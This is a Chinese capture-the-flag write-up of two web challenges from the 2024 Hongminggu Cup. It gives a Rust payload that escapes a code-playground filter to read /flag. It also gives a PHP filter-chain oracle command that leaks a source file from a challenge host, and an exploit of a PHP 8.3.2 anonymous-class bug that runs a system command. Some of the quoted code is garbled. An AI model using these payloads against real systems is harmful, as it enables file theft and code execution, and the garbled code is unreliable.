2024年 红明谷杯
Web
playground
简单的rust
#[post("/rust_code" ,data"<code>" )] fn run_rust_code (code: String ) -> String { if code.contains ("std" ){ return "Error: std is not allowed" .to_string (); } let file_name = rand::thread_rng () .sample_iter (&rand::distributions::Alphanumeric) .take (5 ) .map (char::from) .collect::<String >(); if let Ok (mut file) = File::create (format! ("playground/[}.rs" ,&file_name)){ file.write_all (code.as_bytes ()); } if let 0 k(build_output) = Command::new ("rustc" ) .arg (format! ("playground/{}rs" ,&file_name)) .arg ("-C" ) .arg ("debuginfo=0" ) .arg ("-C" ) .arg ("opt-level=3" ) .arg ("-o" ) .arg (format! ("playground/{}" , &file_name)) .output (){ if !build output.status.success (){ fs::remove file (format! ("playground/{}.rs" ,&file name)); return String::from_utf8 lossy (build output.stderr.as_slice ()).to string (); } } fs::remove_file (format! ("playground/{}.rs" ,&file_name)); if let Ok (output) = Command::new (format! ("playground/[}" ,&file_name)) .output) { if !output.status.success (){ fs::remove_file (format! ("playground/{}" ,&file_name)); return String::from_utf8_lossy (output.stderr.as_slice ()).tostring (); } else { fs::remove_file (format! ("playground/{}" ,&file name)); return String::from_utf8_lossy (output.stdout.as_slice ()).to_string (); } } return String::default ();
主要函数如上,传入一段rust代码,会写到文件里面并编译执行,但是不能含有std
payload:
fn main (){let buffer = include_str! ("/flag" ); panic! (buffer);}
image-20240404003204820
ezphp
第一层
<?php hightlight_file (__FILE__ );if (isset ($_POST ['f' ])){ echo hash_file ('md5' , $_POST ['f' ]); } ?>
只有一个hash_file()
,要用php_filter_chains_oracle
来爆出文件内容,手打比较麻烦
用这个工具
python3 filters_chain_oracle_exploit.py --target http://eci-2ze578uhom4mqny8l8ay.cloudeci1.ichunqiu.com:80 --file flag.php --parameter f [*] The following URL is targeted : http://eci-2ze578uhom4mqny8l8ay.cloudeci1.ichunqiu.com:80 [*] The following local file is leaked : flag.php [*] Running POST requests [+] Error handling duration : 0.118991 [*] Trying the process in a warning friendly way [+] File flag.php leak is finished! PD9waHANCmlmIChpc3NldCgkX0dFVFsNZXpwaHBQaHA4J10= b"<?php\r\nif (isset($_GET[\rezphpPhp8']"
加上参数ezphpPhp8
<?php if (isset ($_GET ['ezphpPhp8' ])) { highlight_file (__FILE__ ); } else { die ("No" ); } $a = new class { function __construct ( ) { } function getflag ( ) { system ('cat /flag' ); } }; unset ($a );$a = $_GET ['ezphpPhp8' ];$f = new $a ();$f ->getflag ();?>
这里使用了匿名类,但是创建了以后又马上unset
了,在php的回收机制中,unset
撤销后实际上并没有销毁,内存上还是存在的,题目版本8.3.2
,在8.3.3
的changelog
中有记录https://github.com/php/php-src/issues/13097
我们可以使用get_class
函数来查看一下类
$a = new class { function __construct ( ) { } function getflag ( ) { system ('whoami' ); } }; echo urlencode (get_class ($a ));
这个格式是固定的,如果我们用上面的class的结果去new一个,是可以得到被撤销的变量的,路径我们也知道了,按照格式改一改直接传过去就可以了,注意文件时flag.php